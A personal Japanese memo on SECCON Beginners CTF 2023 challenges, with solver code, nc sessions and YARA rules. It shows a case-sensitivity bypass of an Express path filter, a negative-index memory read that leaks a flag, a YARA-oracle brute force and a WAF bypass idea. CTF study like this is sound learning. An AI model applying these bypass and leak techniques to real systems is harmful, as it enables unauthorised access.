SECCON Beginners CTF 2023 writeupではなく、自分用メモ

SECCON Beginners CTF 2023
もう一人で上位15%とかに入るの体力的に無理。

# Forbidden

```javascript:index.js
var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});

```

req.path.includes('/flag')は，大文字小文字を区別してそう

ビンゴ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/3a630c0f-6ec6-5c38-0caa-97bd09130ed6.png)


# CoughingFox2

```python:solver.py
# coding: UTF-8
import math

def is_square_root(number):
    sqrt = math.sqrt(number)
    return sqrt == int(sqrt)

cipher = [4396, 22819, 47998, 47995, 40007, 9235, 21625, 25006, 4397, 51534, 46680, 44129, 38055, 18513, 24368, 38451, 46240, 20758, 37257, 40830, 25293, 38845, 22503, 44535, 22210, 39632, 38046, 43687, 48413, 47525, 23718, 51567, 23115, 42461, 26272, 28933, 23726, 48845, 21924, 46225, 20488, 27579, 21636]
cipher_sort = [0] * len(cipher)

flag = bytearray(len(cipher)+1)

# ランダム化されていたのでソートしながら，平方根を計算する
for c in cipher:
    for i in range(len(cipher)):
        if is_square_root(c - i):
            cipher_sort[i] = math.sqrt(c-i)
            break

# print(cipher_sort)

# 配列の要素は  ord(flag[i])+ord(flag[i+1]) なので。。。   ord("c")+ord("t")=215
flag[0] = 99 #ctfのc
i = 1
for c in cipher_sort:
    if i <= len(cipher):
        flag[i] = int(c - flag[i-1])
        i = i + 1

print(flag.decode())
```

# poem

```
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -9
AWAVAUATUHSd%
^C
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -10
Segmentation fault
^C
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -7
`"V
^C
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -1
Segmentation fault
^C
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -2
Segmentation fault
^C
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -3
Segmentation fault
^C
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

```

# YARO

```
$ nc yaro.beginners.seccon.games 5003
rule:
rule shebang {
    strings:
        $shebang = /^#!(\/[^\/ ]*)+\/?/
    condition:
        $shebang
}

OK. Now I find the malware from this rule:
rule shebang {
    strings:
        $shebang = /^#!(\/[^\/ ]*)+\/?/
    condition:
        $shebang
}
Found: ./redir.sh, matched: [shebang]
Found: ./server.py, matched: [shebang]
Not found: ./flag.txt
Not found: ./requestments.txt
```

```
$ nc yaro.beginners.seccon.games 5003
rule:
rule flag {
    strings:
        $flag = /ctf4b\{.*?\}/
    condition:
        $flag
}

OK. Now I find the malware from this rule:
rule flag {
    strings:
        $flag = /ctf4b\{.*?\}/
    condition:
        $flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [flag]
Not found: ./requestments.txt
```

```
rule flag {
    strings:
        $flag = /ctf4b\{.{28}\}/
    condition:
        $flag
}
```

```
rule flag {
    strings:
        $flag = /ctf4b\{[0-9].{27}\}/
    condition:
        $flag
}

rule flag {
    strings:
        $flag = /ctf4b\{[a-z].{27}\}/
    condition:
        $flag
}

rule flag {
    strings:
        $flag = /ctf4b\{[A-Z].{27}\}/
    condition:
        $flag
}

rule flag {
    strings:
        $flag = /ctf4b\{[A-].{27}\}/
    condition:
        $flag
}
```

こんな感じで、最後まで力づくで。

```
012345 67890

abcdefghijklm nopqrstuvwxyz

rule flag {
    strings:
        $flag = /ctf4b\{Y3t_An0th3r_R34d_Opp0rtu.{4}\}/
    condition:
        $flag
}


rule flag {
    strings:
        $flag = /ctf4b\{Y3t_An0th3r_R34d_Opp0rtun1ty\}/
    condition:
        $flag
}
```



# aiwaf


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/10601164-e49a-597f-46f7-5f3f08b74a28.png)

50文字までしかチェックしてないことはわかったが、それをどう攻略するかは判らなかった。

writeupを見て、勉強。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/9ab6acdc-c915-cac8-e8c8-65c58390c8a5.png)